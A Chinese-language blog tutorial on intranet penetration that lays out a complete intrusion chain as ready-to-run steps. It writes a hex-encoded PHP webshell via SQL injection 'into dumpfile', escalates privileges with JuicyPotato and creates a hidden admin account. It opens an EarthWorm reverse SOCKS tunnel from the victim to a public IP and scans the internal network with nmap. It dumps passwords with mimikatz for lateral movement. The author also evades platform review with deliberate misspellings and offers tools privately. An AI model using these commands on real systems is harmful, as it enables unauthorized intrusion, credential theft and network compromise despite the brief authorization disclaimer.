內網滲透(上)

每日一句:			
		做安全,有一定實力的話。找工作,待遇不好就不要去,不要委屈求全。
		世界上好地方那麼多,不出去看看的話,你就以爲這就是世界
		
		另外,二進制其實也不是多值錢的玩意,沒必要覺得多深奧

聲明:
內網滲透是非常危險的,沒有明確的授權不要做。切記切記
本篇文章用到的軟件100%報毒,最好在虛擬機用,不怕後門的可以在本機運行

一、win提升權限

(一),sql注入可以幹什麼?
	~獲取數據、讀取文件、影響數據庫
	~通過寫一句馬從而getshell

(二),sql語句:導出文件
	~into outfile
	~into dumpfile
	
	舉例:
		語句:
			select 1,2,3 into dumpfile 'C:\\www\\123.txt'
		作用:
			在“c:\www\”目錄下新建123.txt。
			其內容爲“123”
	
	進階:通過此方式寫一句馬
		語句:
			select 1,2'<?php eval($_REQUEST[8])?>' into dumpfile 'C:\\www\\123.php'
		作用:
			在“c:\www”目錄下新建123.php文件,內容爲一句馬
			
	注意:
		1,這個函數(into dumpfile)在mysql高版本是默認不開啓的
		   類似的還有load_file(),一般這兩個函數要開啓都會開啓
		
		2,如何存在堆疊注入(即可以同時執行多條語句),
		   可以通過日誌的方法寫webshell。
		
		3,在phpstudy修改默認狀態後,需要重啓生效
			
		4,在老一點的版本中是可以直接使用的,新版本會報一個1290權限的錯誤
		
		實戰中的語句:
		url ?id=1 union select 1,'一句馬內容' into dumpfile "C:\\www\\123.php"
		
			補充:
				(1),這個路徑怎麼獲得?
					通過sql報錯注入,使服務器爆出路徑
					若爆不出,只能靠猜了。
					當然也可以配合別的攻擊手段使爆出絕對路徑
				(2),第一次寫文件,建議先寫一個txt文檔,成功後在寫php文件
					可以看看自己寫到txt的代碼有沒有問題,避免一些懸學問題
				(3),一句馬內容
					若直接寫“<?php eval($_REQUEST[8])?>”肯定報錯
					因爲url欄中“?”一般代表傳參  會衝突。
					
				(4)那一句馬怎麼寫?
					將一句馬內容16進制編碼。即得到:
					“3c3f7068706576616c28245f524551554553545b385d293f3e”
					
					注意:16進制編碼會將空格默認去掉,即上邊的編碼,
						  解碼後是這樣的:<?phpeval($_REQUEST[8])?>
						  而php中,那個空格是格式,這樣的代碼是會報錯的。
						  
						  怎麼辦?----->加空格!	(空格的16進制編碼是20),
						  即在“3c3f706870”後加“20”。
						  
						  事實上,3c3f706870就是是‘<?php’的編碼
		
		綜上,完整語句爲:
		url ?id=1 union select 1,'3c3f706870206576616c28245f524551554553545b385d293f3e' into dumpfile "C:\\www\\123.php"
				  
				(5),爲什麼要進行16進制編碼?
					URL編碼本質就是16進制
				
				(6),上述語句中爲什麼多加“1”(union select 1,內容)
					這個1,是聯合查詢中,要和前一個表的字段數相同所補充的格式
					實戰中,可能會很多。		至於字段數可以通過“order by”判斷出
				
				(7),路徑爲什麼有兩個“ \\ ”
					正常路徑是:“C:\www\123.txt”。但是這需要轉義
					要麼路徑中用“\\”,要麼用“/”否則地路徑會與網絡路徑會發生衝突
				
				(8),有時候sql注入爆不出回顯點,可以將前邊語句加個“and 1=2”
					正常語句: url id=1 union select 1,2			//不顯示回顯點
					構造語句: url id=1 and 1=2 union select 1,2	//出現回顯點
				
				(9),爲什麼一句馬中的$_REQUEST[8]用數字8
					因爲這樣的數字傳參不用加單引號或者雙引號,會簡單很多
					建議以後寫馬的同學用數字傳參
(三),權限的提升
		1,當前的權限
			此時我們可以用菜刀連接我們剛剛生成的一句馬
			運行虛擬終端,輸入“whoami”查看當前權限
			
			一般是遊客或者管理員權限(administrator),
			但是在服務器中管理員權限不是最高的,正常可以獲取到最高的權限爲“系統權限”,即“system”權限
		
		2,如何提權?(即將低權限提升爲system權限)
			(1)
				不同服務組件用了不同權限。例如網站權限低,數據庫權限高,那麼我們就要想辦法讓其他組件幫我們去做事。再例如:目標及其上運行了一些其他的服務,然後這些服務只能從內部訪問,然後我們也可以調用過來用。(例如:FTP|Redis等等)[這個需要一定知識的沉澱、積累,不推薦新手]
				
				舉個例子:
				一臺服務器兩個網站(A、B網站),A網站權限較低,但是B網站較高。
				你拿下了A站但是權限較低,此時你可以通過A網站向B網站寫一個馬,
				此時你的webshell就會比較高了,這算是一個例子吧
				
				常用cmd命令:
					whoami 			查看當前用戶權限
					netstat -ano 	查看本機開放的端口
					tasklist 		查看本機運行的程序[類似於人物管理器]
					systeminfo 		查看計算機信息
				
			(2)利用win的漏洞(最常見手法)
				 原理:查看win打了什麼補丁,然後去網上找存在什麼樣的漏洞,然後找對應的提權工具
				 命令:systeminfo	查看計算機信息
				 步驟:
					(1)
					~systeminfo得到計算機打了哪些補丁後,
					~粘貼在這個網站(http://bugs.hacking8.com/tiquan/),
					~點擊查詢,會根據你的補丁找到對應的提權exp
						本質是,會避開上述補丁找剩餘可利用的exp
					~可以通過編號去這個網站找:https://github.com/SecWiki/windows-kernel-exploits
					~這個網站有很多做好的exe文件,直接上傳服務器用就ok了
					
					(2)利用“爛土豆”(萬能提權集合exp)進行提權
						官網:https://github.com/ohpe/juicy-potato/releases
						但是官方的很使用相對較爲麻煩,本人經常使用的是魔改版
						ps:有需要的直接私信,看到就回復。這個爛土豆100%報毒,使用需要添加信任
						
						命令:			原版爛土豆的使用命令很複雜,直接上魔改版的
						
						比如:JuicyPotato.exe -p "whoami"
						
						在-p裏的命令直接是system執行的,
						前提是將這個東西上傳到了目標服務器即可
						
						可以將JuicyPotato.exe文件名改爲1.exe,這樣就可以使用命令時,少些幾個字母。
						如:1.exe -p "whoami"
						
					
				補充:多說一點關於後門的問題,很多同學怕下載的東西留有後門,其實一般看看有沒有公佈源碼
					  正常敢於公佈源碼的大概率是沒有後門的
					  另一個就是放在虛擬機運行,這個是相對安全點的方法
					  
					  
				如何判斷有沒有後門?
				正常就是抓取流量,看看有沒有異常偷偷跑的
				
				或者打開cmd,輸入:netstat -nb可以看到此時與電腦建立連接的所有應用進程
				權限不足時,以管理員身份運行cmd
				
				學習安全初期被大佬攻擊作爲肉雞都是可能的
				
			(3)常用命令(建用戶、放到管理員組)
					~在服務器創建用戶:
						net user 用戶名 密碼 /add
					~將某用戶放置到管理員組
						net localgroup administrators 用戶名 /add
				
			問:接下來我們應該做一些什麼?
				這時正常情況就是利用3389端口進行遠程連接
			
			問:服務器沒有開啓3389端口怎麼辦?
				通過修改服務器的註冊表可以打開
				
		3,反向連接突破限制
		
			問題:這時,產生一個問題是目標機器在內網中,你訪問不到他的3389怎麼辦?
			這個地方你要知道,一個網站一般都在目標的內網內,然後他開放的端口,是依靠路由器轉發出去的
			
				~用戶訪問公網IP的一個端口
				~路由器去接收到有人訪問這個端口,根據路由器的  端口映射  規則分配到內網機器
				~內網機器收到數據,連接
				
			但是如果轉發規則裏面 沒有我們轉發到我們的目標服務器端口的規則  那我們是無法連接到的
			解決方法正常分爲兩種:
				~黑掉路由器,修改裏邊的端口轉發規則
				~利用反向連接技術,讓我們控制的站點來連接我們公網上的一個端口,然後構成反向連接
				
				反向連接:讓目標連接我們
				正向鏈接:我麼連接目標
		
				反向連接的前提:
					~內網的服務器可以任意訪問公網。當然一般都是可以的,可以ping一下公網IP
					~要有一個公網IP。未滿24歲可以去整一個阿里雲學生機,性價比很高。9.9月一個月

二、花生.殼巧獲得公網IP

	問題:假如沒有公網ip,是不是就無計可施了?
	答曰:非也、非也,我們可以利用一些內網穿。透工具(如花生.殼,官網:https://qydev.com/index.html)。
		  但是要明白一件事,省了錢,就一定會多麻煩一些。所謂魚和熊掌不可兼得
	
			多說一句,不知道提到遠cheng控制  同學們有沒有想到向日葵等一些商用遠a控,從原理上來說
			是可以行的通的,當然這就多提一句,同學們有時間可以自己去摸索一下。
	
	問題:花sheng殼等內網穿。透工具的原理是什麼樣的?
	答曰:我們的電腦與花生.殼建立一個連接,此時生成一個域名,
		  讓目標靶機去訪問(連接)花生.殼生成的域名,此時通過花2生殼的橋接作用就連接到了本機
		  最終,我麼讓服務器通過花生.殼這個中間橋樑反向連接到了本機電腦
				
				本機	<--->		花生.殼		<--->		目標靶機
		  
	問題:如何具體操作上述
	答曰:~註冊花生.殼,官網上述有
		  ~點擊隧道管理-開通隧道,(因爲是學習,沒有多大的要求)
		  ~選擇免費的就行,填寫信息:
			隧道協議勾選tcp,名稱隨便寫,本機端口寫127.0.0.1:666(端口可以隨便寫一個系統沒用的就行)
			此時,你的隧道管理處會多一個隧道(自動生成keycode,公網域名)
		  ~根據需要下載一個客戶端版本,打開,將隧道管理處的keycode粘貼到客戶端
		  ~別的電腦訪問生成的公網域名就等於訪問你電腦的127.0.0.1:666端口,
		  
		  即完成架橋樑,突破公網內網的限制,但是僅僅可以放出本機一個端口。有條件的話,還是推薦阿里雲
		  假如有服務器,別人就可以直接訪問到了,也不要上述步驟。而且可以訪問到全端口
	
	問題:花生.殼在涉及到隧道時,需要手機接驗證碼,有沒有純匿名的?
	答曰:有,國外的ngrok,完全匿名。但是速度較慢
	
	其實到此時,若是沒什麼特別的問題。我們直接通過菜刀等工具將下載的花生.殼軟件放到靶機,
	將靶機的3389端口直接放出來,即完成了最初的目標,控制了目標服務器。
	
	問題:若是內網有3臺服務器,a機器能訪問公網被我們通過花生.殼拿下,但是b,c機器不能訪問公網該如何拿下?
	答曰:可以通過一些非正統的方法,如通過a機器繼續套娃遠cheng控制b與c等等
		  當然本文章既然是講到了內網,那麼就得和大家普及一下正統的內網的縱橫方法,
		  不要急,繼續往下看		

三、ew內網穿。透端口轉發

	介紹官網:http://rootkiter.com/EarthWorm/
	
	ps:
	但是,讓人吐血的是  官網竟然不給下載了。
	據開發者本人說“考慮到該工具影響很壞,該工具永久停止更新,如要反饋查殺規則請移”
	簡單說,工具很強,危害很大,我不更新了,也不給你們下載了(有需要的朋友可以私信我,包括win、linux、mac)
	
	0. Ew常用的命令
		(1)
			接受代理:	ew(軟件名) -s rcsocks -l 8888 -e 9999
			命令解釋:	監聽9999端口,將獲取到的數據轉發給8888端口,若接受到數據會在cmd中返回一個ok
			
				不是太懂?
						~9999是我的工資卡,8888是我對象的工資卡
						~當我卡里打入工資的時候,我都主動的將錢轉給我對象
						~並給對象一下:“老婆,嘿嘿,我將錢打到你卡里了”
		(2)
			建立反向代理:ew(軟件名) -s rssocks -d 1.1.1.1 -e 8888
			命令解釋:	將本機反向連接到1.1.1.1的8888端口。這句命令是在目標靶機執行的	
					
				不是太懂?		
						~我戀愛了,正常都是我主動去找女朋友玩,		//即正向連接
						~但是她媽媽最近管的嚴,我不能再去她家找她玩了。
						~所以我給女友一個手機(ew),
						~約會的前告訴女友,我在“1.1.1.1的8888”這個地方等你
						~女友從家裏出來,來找我						//即反向連接
						
						即我們藥醬這個ew要上傳到目標靶機上,且在靶機執行上述命令
						
			問題:注意的是,這個-d後的參數是IP,而非域名。怎麼通過域名得到IP呢?
			答曰:直接cmd中,ping這個域名,就可以看到IP了	
						
	1.首先申請花sheng殼,建立一個tcp的連接協議,
			假設花生.殼生成的域名及其遠程端口爲:free.aaa.com:4472
			映射(連接)到的本機的端口爲:127.0.0.1:6666。			//詳細過程上邊有,描述很複雜  操作很簡單
			
			注意:這個本機映射的端口不能與本電腦已經運行的端口相沖突,很好理解,
				  比如一個端口你的qq已經佔用了,你還讓花生.殼走這個端口,這肯定會造成衝突。
				  正常的操作是讓qq走一個端口,花生.殼走另一個
	
	2.在本機開啓監聽
			ew_for_win_32.exe(ew的名字) -s rcsocks -l 4545 -e 6666
			//即6666端口收到數據,將數據轉給4545端口。同時在終端返回 "ok"
	
	3.通過菜刀將ew上傳到目標靶機,最好同時將爛土豆也上傳過去。防止執行一些命令權限不夠
			~將爛土豆改名爲1.exe	ew改名爲2.exe	
			~改名字僅僅是因爲在菜刀的虛擬終端執行命令時,簡化指令
			
	4.在菜刀的虛擬終端執行命令,連接花6生殼
			~通過 1 中我們知道,花生.殼的域名爲free.aaa.com通過ping我們得知其對應的IP爲47.92.102.131
			~靶機通過ew進行反向連接:
				1.exe -p "2.exe -s rssocks -d 47.92.102.131 -e 4472"
	
	5.本機終端會返回“ok”,代表本機與目標靶機通過花a生殼可以直接進行  端口間數據通訊
			此時,就差最後一步,我們就可以對目標靶機進行控制了
			我們只要掛上SOCKS5的代理就可以了,這個東西的原理較爲複雜,咱們是搞安全的不用把這個原理搞明白,直接用就ok
	
	6.安裝Proxifier,設置SOCKS5代理
			~安裝Proxifier(安裝包可以私聊我要,或者自己谷歌下載)
			~打開Proxifier,點擊配置文件,點擊代理服務器,點擊編輯
			~地址設置爲127.0.0.1,端口設置爲4545
	
	7.收穫		
			此時我們纔算是成功控制了目標靶機,我們在本機瀏覽器做的任何操作都相當於是在目標靶機上做的操作
			比如,此時我們在瀏覽器百度“IP”   ;會發現IP地址是目標靶機的IP,而非本機的IP。
			
			這時,我們就可以在自己瀏覽器直接訪問目標靶機的內網了。
			當然,可以訪問內網也可以通過3389進行遠程連接這個目標靶機了
			
			補充:只不過可能會有一些卡頓,畢竟代理了好幾層
			
			
				
	總結過程:
	
						本機4545端口							//設置SOCKS5代理,可訪問目標靶機,可通過3389進行遠程連接靶機
			
							<--									//將6666端口的數據轉給4545
							
						本機6666端口							//通過ew進行端口數據監聽與轉發
			
							<-->								//本機反向連接花生.殼
							
			花生.殼(域名:free.aaa.com,IP:47.92.102.131,端口爲4472)	//提供公網IP,充當橋樑、中間人角色
			
							<-->								//受害靶機反向連接花b生殼
			
						目標靶機(直接執行命令反向連接)		//通過爛土豆、ew進行反向連接

四、探測內網機器

	0.思路
		正常是先探測下內網主機,在探測下主機端口
		在找一找本機裏的文件,看看有沒有什麼發現
		在根據端口去尋找問題,
			例如:
				某內網機器開啓了445端口(445端口有個內網大殺器--永恆之藍)
				開了3389(3389可以嘗試爆破登錄,或者打Windows rdp漏洞直接拿下)
				
			一般而言,網站都是外緊內送。一旦突進了內網,裏面的東西是很脆弱的。
			比如弱密碼,一些開發了一半的網站等等
			而且很多內網的機器都沒有打永恆之藍的補丁

	1.條件
		通過3389遠程連接成功後,此時就相當於我們多了一個電腦,我們可以進行橫掃內網
		
	2.在靶機安裝nmap
		~將nmap先壓縮一下
		~通過菜刀上傳到目標靶機		
				//多說一句,有的大文件菜刀可能會上傳失敗
				//問:如何知道我們有沒有成功上傳文件呢?
				  答:直接在菜刀裏更新一下文件目錄不就好了
		
		~發現菜刀連接失敗的話,直接將壓縮包  通過  遠程桌面連接複製過去
		
		另外,也有一些野的思路,比如在目標靶機裝一個qq,通過qq傳過去等等
		當然,在這我僅僅是提一下。攻陷一個目標有很多種方法,大家不要思維固化。
		
	3.通過nmap探測C段
		~將上傳成功的nmap在目標靶機安裝
		~通過ipconfig查看靶機的IP;						//假設是10.0.1.4
		~探測內網機器:nmap 10.0.1.1/24					//就是將10.0.1.1-10.0.1.255探測一遍
				當然這是不太重要的話,簡單探測探測。
				比較重要的話,直接將所有的內網IP段全探測了

五、提取本機管理員賬號密碼

	0.前言
		內網很多情況是這樣的,內網很多機器,但是管理員可能就是那麼幾個人,
		所以各個機器的用戶賬號密碼相同的可能性極高,那麼我們如果能獲取本機所有用戶的密碼,
		就可以看到管理員原本設置的密碼。
	
	1.介紹一款神器--mimikatz(別名獼猴桃)
		是一款內網滲透中常用的工具,也有人喜歡叫法國神器,因爲是法國的本傑明·德爾皮編寫創建
				下載地址:https://github.com/gentilkiwi/mimikatz

		因爲Windows會把用戶的明文密碼放在內存裏面,
		所以它可以從內存中提取純文本密碼,哈希和kerberos票證。			
				//這個kerberos票據是關於域控的知識,下次在說相關內網
				
		另外windows server 2012及其上就不儲存明文,這個時候可以通過修改註冊列表的形式開啓明文密碼顯示
		然後,靜靜等待管理員的訪問。管理員什麼時候訪問,什麼時候得到明文密碼
		
		之前說本文中用到的工具報毒,也主要是因爲這個東西。
		
	2.mimikatz的兩條命令
			privilege::debug 提升權限
			
			sekurlsa::logonpasswords 抓取密碼
			
		使用方法:
				打開mimikatz,在菜單欄右擊,
				選擇編輯,粘貼
		
		報錯處理:
				以管理員身份運行該軟件
				嘗試重新打開在運行試試
				可能是版本錯了,32位系統就用32的,64就用64的
				
		
		說明:	這個mimikatz是去電腦內存搞事情,所以要很高的權限。
				而權限,system並不是最高的。在此之上還有很多亂七八糟的權限
				只是對初學者用的比較少,我們先不要細究
				
				而mimikatz是去內存搞事情,所以要提升權限,
					即先執行權限提升的命令
					然後在執行抓取密碼的命令
					
					
	3.搞一搞內網中別的機器
		如我們通過nmap探測到內網中一個10.0.1.5這個機器
		~我們就可以通過已經連接的靶機A去	連接這個新的機器B
		~或者我們已經通過SOCKS5在本機 在開一個遠程桌面連接就可以用在A機器獲取的密碼去連接B機器
		
		
	總結:
			~已經遠程連接到靶機A機器
			~用mimikatz抓取A機器上的所有賬號與密碼
			~因爲內網中的機器絕大多數的賬號密碼都相同
			~我們就可以用A機器上得到的賬號密碼去遠程連接內網中的B機器、C機器等等
			
			~而B機器、C機器的內網IP,我們也可以通過A機器上的nmap得到
	
			
在下一篇文章中,在主要介紹一下域控及其票據相關知識
有些內容有錯別字,因爲平臺的審覈太嚴格。不過大家應該可以看懂,畢竟內網滲透太敏感了,在次感謝審覈人員通過
	如:花生.殼			--->		其實是huashengke;
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章